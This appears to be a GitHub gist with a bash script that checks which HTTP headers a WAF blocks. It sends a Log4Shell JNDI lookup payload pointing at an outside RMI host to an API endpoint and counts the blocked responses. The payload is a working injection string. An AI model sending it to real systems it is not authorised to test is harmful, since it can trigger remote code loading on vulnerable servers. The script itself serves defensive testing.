Created
December 13, 2021 23:48
-
-
Save 6a6f6a6f/4b0903fc5c6bd6184068607258a6c588 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env bash | |
TOTAL_BLOCKED=0 | |
while IFS="" read -r HEADER || [ -n "$HEADER" ]; do | |
RESPONSE=$( | |
curl --silent "https://8i17duelvl.execute-api.us-east-1.amazonaws.com/dev/pets" \ | |
-H "$HEADER: \${jndi:rmi://pudim.com}" \ | |
-H "Content-Type: application/json" \ | |
-o /dev/null -w "%{http_code}" | |
) | |
if [[ "$RESPONSE" == "599" ]]; then | |
let TOTAL_BLOCKED++ | |
echo "[+] Header $HEADER is blocked!" | |
else | |
echo "[!] Header $HEADER passed!" | |
fi | |
done <headers.txt | |
echo | |
echo "[+] Total blocked is about $TOTAL_BLOCKED/$(wc -l headers.txt)" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment